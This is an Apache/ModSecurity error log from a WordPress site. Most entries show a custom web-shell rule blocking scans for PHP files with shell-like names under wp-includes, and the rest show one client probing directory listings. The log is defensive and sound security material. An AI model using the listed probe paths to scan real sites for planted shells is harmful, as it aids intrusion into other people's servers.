[Tue Apr 21 02:21:45.112810 2026] [:error] [pid 42014:tid 42017] [client 185.92.25.27:63745] [client 185.92.25.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeZuucek-00-ZI0f1Nq6BgAAAQE"]
[Tue Apr 21 02:21:46.033209 2026] [:error] [pid 11351:tid 11405] [client 91.230.225.98:60417] [client 91.230.225.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aeZuugN8Z1-vktaI_tO6QgAAAFI"]
[Tue Apr 21 02:21:47.067353 2026] [:error] [pid 11351:tid 11394] [client 91.230.225.85:49203] [client 91.230.225.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeZuuwN8Z1-vktaI_tO6QwAAAEc"]
[Tue Apr 21 02:21:48.269424 2026] [:error] [pid 11494:tid 11517] [client 91.230.225.86:51509] [client 91.230.225.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeZuvMgko5iFiE8YoyRM4AAAAZU"]
[Tue Apr 21 02:21:51.058945 2026] [:error] [pid 11494:tid 11514] [client 185.192.71.131:57987] [client 185.192.71.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeZuv8gko5iFiE8YoyRM6AAAAZI"]
[Tue Apr 21 02:21:52.102141 2026] [:error] [pid 11351:tid 11394] [client 185.192.71.133:42061] [client 185.192.71.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aeZuwAN8Z1-vktaI_tO6TgAAAEc"]
[Tue Apr 21 02:21:56.639280 2026] [:error] [pid 11351:tid 11408] [client 185.192.71.142:28587] [client 185.192.71.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeZuxAN8Z1-vktaI_tO6WQAAAFU"]
[Tue Apr 21 02:21:57.718776 2026] [:error] [pid 11494:tid 11506] [client 185.192.71.139:42455] [client 185.192.71.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aeZuxcgko5iFiE8YoyRM8AAAAYo"]
[Tue Apr 21 02:21:58.639289 2026] [:error] [pid 11494:tid 11501] [client 91.230.225.97:29527] [client 91.230.225.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aeZuxsgko5iFiE8YoyRM8QAAAYU"]
[Tue Apr 21 02:21:59.843576 2026] [:error] [pid 11494:tid 11519] [client 91.230.225.98:32873] [client 91.230.225.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aeZux8gko5iFiE8YoyRM9gAAAZc"]
[Tue Apr 21 02:22:01.083999 2026] [:error] [pid 11351:tid 11389] [client 185.92.25.121:64133] [client 185.92.25.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aeZuyQN8Z1-vktaI_tO6XgAAAEI"]
[Tue Apr 21 02:22:02.825669 2026] [:error] [pid 11350:tid 11374] [client 91.230.225.97:23121] [client 91.230.225.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aeZuyv4EoMBgOJuJnT1CQgAAAA8"]
[Tue Apr 21 02:22:11.322088 2026] [:error] [pid 11494:tid 11512] [client 91.230.225.92:32489] [client 91.230.225.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aeZu08gko5iFiE8YoyRM_wAAAZA"]
[Tue Apr 21 02:22:24.934335 2026] [:error] [pid 11350:tid 11367] [client 91.230.225.90:41361] [client 91.230.225.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aeZu4P4EoMBgOJuJnT1CXgAAAAg"]
[Tue Apr 21 02:22:28.365511 2026] [:error] [pid 11351:tid 11401] [client 185.192.71.141:61493] [client 185.192.71.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aeZu5AN8Z1-vktaI_tO6ggAAAE4"]
[Tue Apr 21 02:22:29.256933 2026] [:error] [pid 11441:tid 11459] [client 185.192.71.139:48755] [client 185.192.71.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aeZu5cixByFUvmh319DxjwAAANA"]
[Tue Apr 21 02:22:36.402453 2026] [:error] [pid 11351:tid 11406] [client 91.230.225.91:64119] [client 91.230.225.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aeZu7AN8Z1-vktaI_tO6lAAAAFM"]
[Tue Apr 21 02:22:42.582764 2026] [proxy_fcgi:error] [pid 11350:tid 11370] [client 185.192.71.122:62813] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 02:22:42.864950 2026] [proxy_fcgi:error] [pid 11350:tid 11383] [client 185.192.71.122:62813] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 02:22:43.895375 2026] [proxy_fcgi:error] [pid 11350:tid 11383] [client 185.192.71.122:62813] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 02:22:45.328860 2026] [:error] [pid 11350:tid 11359] [client 185.192.71.122:62813] [client 185.192.71.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aeZu9f4EoMBgOJuJnT1CgAAAAAA"]
[Tue Apr 21 02:22:46.547187 2026] [:error] [pid 11350:tid 11374] [client 185.192.71.140:25331] [client 185.192.71.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aeZu9v4EoMBgOJuJnT1CgwAAAA8"]
[Tue Apr 21 02:22:47.644289 2026] [:error] [pid 11351:tid 11408] [client 91.230.225.93:39863] [client 91.230.225.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aeZu9wN8Z1-vktaI_tO6nwAAAFU"]
[Tue Apr 21 02:22:48.736809 2026] [:error] [pid 42014:tid 42028] [client 91.230.225.89:48739] [client 91.230.225.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aeZu-Mek-00-ZI0f1Nq6HAAAAQw"]
[Tue Apr 21 02:23:02.048812 2026] [autoindex:error] [pid 42014:tid 42030] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:06.048385 2026] [autoindex:error] [pid 42014:tid 42025] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:17.052100 2026] [autoindex:error] [pid 42014:tid 42032] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:19.285124 2026] [autoindex:error] [pid 42014:tid 42034] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:28.417426 2026] [autoindex:error] [pid 42014:tid 42020] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:28.702654 2026] [autoindex:error] [pid 42014:tid 42029] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:31.461517 2026] [autoindex:error] [pid 42014:tid 42023] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:31.779287 2026] [autoindex:error] [pid 42014:tid 42016] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:33.800514 2026] [autoindex:error] [pid 42014:tid 42038] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:34.076944 2026] [autoindex:error] [pid 42014:tid 42040] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:34.407968 2026] [autoindex:error] [pid 42014:tid 42039] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:36.502193 2026] [autoindex:error] [pid 42014:tid 42019] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:36.776365 2026] [autoindex:error] [pid 42014:tid 42035] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:37.052861 2026] [autoindex:error] [pid 42014:tid 42037] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:43.294650 2026] [autoindex:error] [pid 42014:tid 42032] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:43.585650 2026] [autoindex:error] [pid 42014:tid 42035] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:44.156449 2026] [autoindex:error] [pid 42014:tid 42020] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:44.445873 2026] [autoindex:error] [pid 42014:tid 42023] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:46.489589 2026] [autoindex:error] [pid 42014:tid 42022] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:48.094009 2026] [autoindex:error] [pid 42014:tid 42022] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:53.896207 2026] [autoindex:error] [pid 42014:tid 42039] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:57.817185 2026] [autoindex:error] [pid 42014:tid 42035] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:23:58.369425 2026] [autoindex:error] [pid 42014:tid 42037] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:04.255530 2026] [autoindex:error] [pid 42014:tid 42025] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:04.540311 2026] [autoindex:error] [pid 42014:tid 42017] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:12.171891 2026] [autoindex:error] [pid 42014:tid 42036] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:14.287061 2026] [autoindex:error] [pid 42014:tid 42027] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:16.321740 2026] [autoindex:error] [pid 42014:tid 42016] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:16.599138 2026] [autoindex:error] [pid 42014:tid 42026] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:16.884668 2026] [autoindex:error] [pid 42014:tid 42029] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:17.184370 2026] [autoindex:error] [pid 42014:tid 42039] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:19.237627 2026] [autoindex:error] [pid 42014:tid 42018] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:22.897843 2026] [autoindex:error] [pid 42014:tid 42025] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 21 02:24:23.171359 2026] [autoindex:error] [pid 42014:tid 42030] [client 185.92.25.21:25837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
